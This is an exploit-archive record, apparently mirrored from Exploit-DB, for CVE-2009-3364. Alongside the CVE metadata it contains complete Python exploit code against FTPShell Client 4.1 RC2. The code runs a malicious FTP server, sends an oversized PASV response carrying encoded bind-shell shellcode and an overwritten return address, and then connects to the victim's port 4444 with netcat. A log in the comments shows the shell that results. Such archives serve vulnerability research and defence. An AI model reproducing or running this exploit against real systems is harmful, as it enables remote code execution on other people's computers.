{"exploit":{"id":"EDB-9613","name":"FTPShell Client 4.1 RC2 - Remote Buffer Overflow (Universal)","description":"FTPShell Client 4.1 RC2 - Remote Buffer Overflow (Universal)","cves":["CVE-2009-3364"],"author":"His0k4","published":"2009-09-09","platform":"windows","type":"remote","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/9613","path":"exploits/windows/remote/9613.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-9613.py","vulnerabilities":[{"id":"CVE-2009-3364","state":"PUBLISHED","title":null,"titleSource":null,"description":"Stack-based buffer overflow in FTPShell Client 4.1 RC2 allows remote FTP servers to execute arbitrary code via a long response to a PASV command.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2009-3364","cvss":{"version":"2.0","baseScore":9.3,"severity":"high","vectorString":"AV:N/AC:M/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2009-3364"},"updatedAt":"2024-08-07T06:22:24.862Z","retrievedAt":"2026-11-27T15:07:19.292Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-9613.png?v=2","url":"https://exploitbin.com/exploits/EDB-9613","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-9613/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-9613/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/python\n# _  _   _         __    _     _ _\n#| || | (_)  ___  /  \\  | |__ | | |\n#| __ | | | (_-< | () | | / / |_  _|\n#|_||_| |_| /__/  \\__/  |_\\_\\   |_|\n#\n#[+] Bug :\t FTPShell Client 4.1 RC2 Remote Buffer Overflow Exploit (univ)\n#[+] Author :\t His0k4\n#[+] Tested on : xp_sp3,w2k_sp4\n#[+] Greetz :\t All friends\n#\t\t piece of \"zlabiya\"\n\n#---exploit-log---\n#attacker@dz-labs:~/pentests/fuzzers/ftp$ python FTPShell_client.py\n#[+] Listening on [FTP] 21\n#[+] Connection accepted from: 192.168.1.3\n#[+] Sending the malicious pasv response...\n#[+] Done, wait for trying to connect to port 4444 on the target...\n#\n#(UNKNOWN) [192.168.1.3] 4444 (?) open\n#Microsoft Windows XP [Version 5.1.2600]\n#(C) Copyright 1985-2001 Microsoft Corp.\n#\n#C:\\Documents and Settings\\victim\\Desktop>\n\n\nfrom socket import *\nimport os\nimport time\n\n\n# win32_bind -  EXITFUNC=seh LPORT=4444 Size=709 Encoder=PexAlphaNum http://metasploit.com\nstage2 =(\n\"\\x44\\x7A\\x32\\x37\\x44\\x7A\\x32\\x37\"\n\"\\xeb\\x03\\x59\\xeb\\x05\\xe8\\xf8\\xff\\xff\\xff\\x4f\\x49\\x49\\x49\\x49\\x49\"\n\"\\x49\\x51\\x5a\\x56\\x54\\x58\\x36\\x33\\x30\\x56\\x58\\x34\\x41\\x30\\x42\\x36\"\n\"\\x48\\x48\\x30\\x42\\x33\\x30\\x42\\x43\\x56\\x58\\x32\\x42\\x44\\x42\\x48\\x34\"\n\"\\x41\\x32\\x41\\x44\\x30\\x41\\x44\\x54\\x42\\x44\\x51\\x42\\x30\\x41\\x44\\x41\"\n\"\\x56\\x58\\x34\\x5a\\x38\\x42\\x44\\x4a\\x4f\\x4d\\x4e\\x4f\\x4c\\x46\\x4b\\x4e\"\n\"\\x4d\\x34\\x4a\\x4e\\x49\\x4f\\x4f\\x4f\\x4f\\x4f\\x4f\\x4f\\x42\\x56\\x4b\\x38\"\n\"\\x4e\\x46\\x46\\x42\\x46\\x32\\x4b\\x48\\x45\\x34\\x4e\\x43\\x4b\\x58\\x4e\\x57\"\n\"\\x45\\x30\\x4a\\x47\\x41\\x50\\x4f\\x4e\\x4b\\x58\\x4f\\x34\\x4a\\x31\\x4b\\x38\"\n\"\\x4f\\x55\\x42\\x42\\x41\\x30\\x4b\\x4e\\x49\\x54\\x4b\\x38\\x46\\x53\\x4b\\x38\"\n\"\\x41\\x30\\x50\\x4e\\x41\\x33\\x42\\x4c\\x49\\x59\\x4e\\x4a\\x46\\x58\\x42\\x4c\"\n\"\\x46\\x57\\x47\\x50\\x41\\x4c\\x4c\\x4c\\x4d\\x30\\x41\\x50\\x44\\x4c\\x4b\\x4e\"\n\"\\x46\\x4f\\x4b\\x43\\x46\\x35\\x46\\x32\\x4a\\x32\\x45\\x57\\x45\\x4e\\x4b\\x48\"\n\"\\x4f\\x45\\x46\\x32\\x41\\x50\\x4b\\x4e\\x48\\x46\\x4b\\x58\\x4e\\x50\\x4b\\x44\"\n\"\\x4b\\x58\\x4f\\x45\\x4e\\x41\\x41\\x50\\x4b\\x4e\\x43\\x30\\x4e\\x42\\x4b\\x38\"\n\"\\x49\\x58\\x4e\\x56\\x46\\x52\\x4e\\x31\\x41\\x36\\x43\\x4c\\x41\\x53\\x4b\\x4d\"\n\"\\x46\\x36\\x4b\\x38\\x43\\x34\\x42\\x53\\x4b\\x58\\x42\\x34\\x4e\\x30\\x4b\\x48\"\n\"\\x42\\x37\\x4e\\x31\\x4d\\x4a\\x4b\\x38\\x42\\x44\\x4a\\x30\\x50\\x35\\x4a\\x36\"\n\"\\x50\\x48\\x50\\x44\\x50\\x50\\x4e\\x4e\\x42\\x45\\x4f\\x4f\\x48\\x4d\\x48\\x46\"\n\"\\x43\\x55\\x48\\x46\\x4a\\x46\\x43\\x43\\x44\\x33\\x4a\\x56\\x47\\x57\\x43\\x57\"\n\"\\x44\\x43\\x4f\\x55\\x46\\x55\\x4f\\x4f\\x42\\x4d\\x4a\\x56\\x4b\\x4c\\x4d\\x4e\"\n\"\\x4e\\x4f\\x4b\\x53\\x42\\x35\\x4f\\x4f\\x48\\x4d\\x4f\\x45\\x49\\x48\\x45\\x4e\"\n\"\\x48\\x46\\x41\\x58\\x4d\\x4e\\x4a\\x50\\x44\\x50\\x45\\x55\\x4c\\x56\\x44\\x30\"\n\"\\x4f\\x4f\\x42\\x4d\\x4a\\x36\\x49\\x4d\\x49\\x30\\x45\\x4f\\x4d\\x4a\\x47\\x45\"\n\"\\x4f\\x4f\\x48\\x4d\\x43\\x35\\x43\\x35\\x43\\x35\\x43\\x35\\x43\\x55\\x43\\x54\"\n\"\\x43\\x55\\x43\\x54\\x43\\x35\\x4f\\x4f\\x42\\x4d\\x48\\x46\\x4a\\x36\\x41\\x51\"\n\"\\x4e\\x55\\x48\\x46\\x43\\x55\\x49\\x38\\x41\\x4e\\x45\\x39\\x4a\\x36\\x46\\x4a\"\n\"\\x4c\\x51\\x42\\x47\\x47\\x4c\\x47\\x35\\x4f\\x4f\\x48\\x4d\\x4c\\x36\\x42\\x51\"\n\"\\x41\\x35\\x45\\x55\\x4f\\x4f\\x42\\x4d\\x4a\\x56\\x46\\x4a\\x4d\\x4a\\x50\\x52\"\n\"\\x49\\x4e\\x47\\x35\\x4f\\x4f\\x48\\x4d\\x43\\x35\\x45\\x55\\x4f\\x4f\\x42\\x4d\"\n\"\\x4a\\x36\\x45\\x4e\\x49\\x44\\x48\\x38\\x49\\x44\\x47\\x55\\x4f\\x4f\\x48\\x4d\"\n\"\\x42\\x55\\x46\\x55\\x46\\x35\\x45\\x45\\x4f\\x4f\\x42\\x4d\\x43\\x49\\x4a\\x46\"\n\"\\x47\\x4e\\x49\\x47\\x48\\x4c\\x49\\x37\\x47\\x35\\x4f\\x4f\\x48\\x4d\\x45\\x55\"\n\"\\x4f\\x4f\\x42\\x4d\\x48\\x46\\x4c\\x36\\x46\\x36\\x48\\x46\\x4a\\x56\\x43\\x36\"\n\"\\x4d\\x36\\x49\\x58\\x45\\x4e\\x4c\\x46\\x42\\x35\\x49\\x55\\x49\\x52\\x4e\\x4c\"\n\"\\x49\\x58\\x47\\x4e\\x4c\\x46\\x46\\x44\\x49\\x58\\x44\\x4e\\x41\\x43\\x42\\x4c\"\n\"\\x43\\x4f\\x4c\\x4a\\x50\\x4f\\x44\\x54\\x4d\\x42\\x50\\x4f\\x44\\x34\\x4e\\x32\"\n\"\\x43\\x39\\x4d\\x48\\x4c\\x47\\x4a\\x33\\x4b\\x4a\\x4b\\x4a\\x4b\\x4a\\x4a\\x56\"\n\"\\x44\\x47\\x50\\x4f\\x43\\x4b\\x48\\x31\\x4f\\x4f\\x45\\x57\\x46\\x54\\x4f\\x4f\"\n\"\\x48\\x4d\\x4b\\x55\\x47\\x55\\x44\\x35\\x41\\x45\\x41\\x35\\x41\\x55\\x4c\\x46\"\n\"\\x41\\x30\\x41\\x55\\x41\\x35\\x45\\x55\\x41\\x45\\x4f\\x4f\\x42\\x4d\\x4a\\x36\"\n\"\\x4d\\x4a\\x49\\x4d\\x45\\x50\\x50\\x4c\\x43\\x45\\x4f\\x4f\\x48\\x4d\\x4c\\x46\"\n\"\\x4f\\x4f\\x4f\\x4f\\x47\\x53\\x4f\\x4f\\x42\\x4d\\x4b\\x48\\x47\\x45\\x4e\\x4f\"\n\"\\x43\\x48\\x46\\x4c\\x46\\x36\\x4f\\x4f\\x48\\x4d\\x44\\x35\\x4f\\x4f\\x42\\x4d\"\n\"\\x4a\\x56\\x42\\x4f\\x4c\\x38\\x46\\x50\\x4f\\x55\\x43\\x55\\x4f\\x4f\\x48\\x4d\"\n\"\\x4f\\x4f\\x42\\x4d\\x5a\")\n\nstage1=(\n#[*] Using Msf::Encoder::PexAlphaNum with final size of 141 bytes\n\"\\xeb\\x03\\x59\\xeb\\x05\\xe8\\xf8\\xff\\xff\\xff\\x4f\\x49\\x49\\x49\\x49\\x49\"\n\"\\x49\\x51\\x5a\\x56\\x54\\x58\\x36\\x33\\x30\\x56\\x58\\x34\\x41\\x30\\x42\\x36\"\n\"\\x48\\x48\\x30\\x42\\x33\\x30\\x42\\x43\\x56\\x58\\x32\\x42\\x44\\x42\\x48\\x34\"\n\"\\x41\\x32\\x41\\x44\\x30\\x41\\x44\\x54\\x42\\x44\\x51\\x42\\x30\\x41\\x44\\x41\"\n\"\\x56\\x58\\x34\\x5a\\x38\\x42\\x44\\x4a\\x4f\\x4d\\x48\\x36\\x41\\x38\\x4c\\x4c\"\n\"\\x4f\\x4f\\x4f\\x50\\x44\\x34\\x44\\x55\\x4c\\x46\\x44\\x50\\x4a\\x35\\x4d\\x4c\"\n\"\\x50\\x52\\x4e\\x33\\x45\\x30\\x4c\\x35\\x46\\x37\\x4f\\x4e\\x4a\\x4b\\x46\\x54\"\n\"\\x4c\\x47\\x44\\x43\\x47\\x33\\x4b\\x58\\x4c\\x4f\\x4f\\x4a\\x45\\x37\\x4c\\x4e\"\n\"\\x4f\\x4a\\x45\\x57\\x47\\x4e\\x4f\\x4f\\x47\\x4e\\x4c\\x50\\x5a\")\n\n\nbuffer =  stage1 #<---------------------------------|\nbuffer += '\\x41'*(412-len(stage1)) #\t\t    |\nbuffer += '\\xC5\\xB3\\x43\\x00'\t# add esp,8;retn----|\n\n\ns = socket(AF_INET, SOCK_STREAM)\ns.bind((\"0.0.0.0\", 21))\ns.listen(1)\nprint \"[+] Listening on [FTP] 21\"\nc, addr = s.accept()\n\nprint \"[+] Connection accepted from: %s\" % (addr[0])\n\nc.send(\"220 Hey victim batet fik!\\r\\n\")\nc.recv(1024)\ntime.sleep(0.5)\nc.send(\"331 User anonymous OK Password required\\r\\n\")\nc.recv(1024)\ntime.sleep(0.5)\nc.send(\"230 Ok.\\r\\n\")\nc.recv(1024)\n\n# Enable this when client performs CWD command\n#time.sleep(1)\n#c.send(\"250 CWD command successful.\\r\\n\")\n#c.recv(1024)\n\ntime.sleep(0.5)\nc.send(\"257 \\x22/\\x22 is current directory\\r\\n\")\nc.recv(1024)\ntime.sleep(0.5)\nc.send(\"200 Type set to A.\\r\\n\")\nc.recv(1024)\ntime.sleep(0.5)\nprint \"[+] Sending the malicious pasv response...\"\nc.send(\"227 \"+stage2+\"\\r\\n\"\n\"227 Entering Passive Mode (\"+buffer+\").\\r\\n\"\n\"\\r\\n\")\ntime.sleep(2)\nc.close()\ns.close()\nprint(\"[+] Done, wait for trying to connect to the target on port 4444...\\n\")\ntime.sleep(25)\nos.system(\"nc -nv \"+addr[0]+\" 4444\")\n\n# milw0rm.com [2009-09-09]","sha256":"af92e233f9d440b139cdc42b17f90deef4662866688f2920d27a0969f0ff0626","bytes":5723,"fetchedAt":"2026-11-27T15:07:15.522Z","encoding":"utf-8 (display only; download retains original bytes)"}